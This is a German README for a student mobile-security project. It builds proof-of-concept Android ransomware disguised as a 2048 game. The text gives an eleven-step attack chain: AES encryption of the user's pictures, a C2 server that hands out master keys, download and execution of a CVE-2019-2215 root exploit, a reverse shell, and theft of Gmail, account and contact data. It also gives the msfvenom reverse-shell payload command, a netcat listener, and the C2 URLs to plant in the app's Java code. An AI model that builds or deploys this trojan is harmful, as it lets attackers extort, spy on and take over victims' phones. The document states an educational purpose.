Rootsmart 2.0 mit cve-2019-2215 + Ransomware

Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungszwecken. Dieses Projekt verwendet Code von rkshrksh/2048-Game und kangtastic/cve-2019-2215.

Projektbeschreibung

Dieses Projekt ist Teil des Moduls Mobile Security der Singapore Institute of Technology. Das Projekt wurde innerhalb von 6 Wochen durchgeführt und zielte darauf ab, eine bösartige Android-Anwendung zu entwickeln. Dadurch haben wir gelernt, wie Sicherheitsmechanismen in einem Android-Betriebssystem implementiert werden und wie wir OWASP Mobile Top 10:2017 M8 - Code Tampering anwenden können.

Das Projekt ist ein Proof of Concept, das eine selbst geschriebene Ransomware demonstriert, die AES-Verschlüsselung nutzt, cve-2019-2215 als Waffe einsetzt und Daten vom infizierten Gerät exfiltriert.

Es wurde auf Android 10 und Google Pixel 2 XL getestet.

├── 2048-Game 					// Android Project Folder
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modified cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper server directory 
│	├── cve-2019-2215			// shells.zip content before zipping
│	├── dropper_server.py		// Dropper server program
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat windows binary - for Reverse shell listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip that is hosted in root of dropper server
│	└── venv
└── test_images    				// test_images for easy adb push <image.ext> /sdcard/Pictures

Angriffsvektor:

1. Installieren Sie die Anwendung, führen Sie sie aus und erteilen Sie Berechtigungen.
2. Die Ransomware verschlüsselt alle Dateien in /sdcard/Pictures mit AES.
3. Jede Datei wird mit einem zufällig generierten Schlüssel verschlüsselt.
4. Die Schlüssel werden in /sdcard/keys.json gespeichert, wobei jedes Schlüssel-Wert-Paar filepath:key ist.
5. Ein HTTP-GET an den C2-Server /get_mk ruft MasterKey und VictimID aus dem Antworttext ab.
6. Der MasterKey verschlüsselt keys.json, die VictimID wird in /sdcard/victimID.txt gespeichert.
7. Die Anwendung lädt shells.zip herunter und entpackt den Inhalt.
8. Führen Sie die cve-2019-2215-Binärdatei aus dem entpackten Inhalt aus.
9. Ein Root-Shell-Prozess wird gestartet und führt install.sh aus dem entpackten Inhalt aus.
10. Install.sh führt rs.elf aus dem entpackten Inhalt aus, um eine Reverse-Verbindung zum Angriffsserver herzustellen.
11. Die Anwendung exfiltriert die Gmail-, Benutzerkontoinformationen und Kontakte des Geräts.

Demonstration

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4

C2 (Command & Control) - Einrichtung

Stellen Sie für diesen Test sicher, dass sich das Opfertelefon und der C2-Server im selben Subnetz befinden (andernfalls hosten Sie den C2 im öffentlichen Internet). Es gibt 3 Endpunkte für den C2-Server, die in dropper/dropper_server.py zu finden sind:

1. /process_command - GET zum Herunterladen von shells.zip und Ausführen des cve-2019-2215-Root-Exploits
2. /get_mk - GET zum Abrufen des Schlüssel-Wert-Paares victimID:masterkey zur Verschlüsselung von /sdcard/keys.json
3. /postData - POST von exfiltrierten Gmail-, Kontakt- und Kontoinformationen

Reverse Shell Server

nc -lvnp 1337 # Ideally this should be the same IP as the dropper server

Dropper Server

# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv

# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator

# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip in /dropper

1. Gehen Sie zum Ordner dropper/cve-2019-2215.
2. Nachdem Sie rs.elf erstellt haben, packen Sie rs.elf, cve-2019-2215 und install.sh in eine ZIP-Datei.
3. Benennen Sie die Zip-Datei in shells.zip um.
4. Verschieben Sie shells.zip nach /dropper.

Folgendes vor dem Kompilieren der APK ändern

Java-Klassen

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32